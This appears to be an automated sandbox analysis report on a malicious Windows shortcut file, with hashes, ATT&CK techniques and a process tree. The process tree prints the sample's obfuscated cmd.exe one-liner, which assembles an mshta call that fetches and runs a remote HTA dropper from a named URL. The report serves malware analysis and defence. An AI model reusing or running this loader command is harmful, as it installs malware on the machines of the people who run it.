9a12aab85ade2ff266baf70efb7f35c0885643549b51ae4823411c3899f0330a

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
04/08/2026, 08:25

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General

Target
DOC-DU72O0.lnk
Size 2KB
Sample260804-kbjv8avfmd
SHA256 9a12aab85ade2ff266baf70efb7f35c0885643549b51ae4823411c3899f0330a
MD5 c5d7269517777fa2581f119cff641f3c
SHA1 922db108953cf5e3b6250c862dd9b274a3a6784a
SHA512 e43cd601426c7ff96e3b372d121fc556685e5e7ddde71feadae9b7ededa30ef26507ec7a53449b52dba24afb334f12b22ffa60d84f182f5a08ca1ec2d672db0f
TLSH
T1D3417D903EED05E4F3BB8E77E8FB370549BB76425D60C68D0810814D0822B01D93BB57
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5056	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 5056 wrote to memory of 4864	5056	cmd.exe	87
PID 4864 wrote to memory of 1008	4864	cmd.exe	88

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-DU72O0.lnk
1⤵
- Checks computer location settings
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5056
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /D/v:on/c"set OX=netlxemqctpexenet&&set pN=datqhoaeumdat&&set RIPIp=cachebpjvgrtmcache&&set gxfe=e97me3&&set DZqu=315ss&&set XHK=pw9htar&&set Dgw=oldxqodecodgbqpdfold&&set Iued=syseeliqschwgppacuhdxhhtsys&&set kI=rsx&&set oT=5tartmd&&set EjmV=infmqrnmvcaftksxeqinf&&set tFPxa=datezhwdpizsqdat&&set Gwb=http@s:@//m@a-pdf@f@il@l@e@r@.@l@a@t/@h/@es@t@[email protected]@hp@?r=@391469@FB5D82@DB&&start /b !gxfe:~3,1!!DZqu:~3,1!!XHK:~3,3! !Gwb:@=!"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4864
- - C:\Windows\System32\mshta.exe
    mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
    3⤵
    PID:1008

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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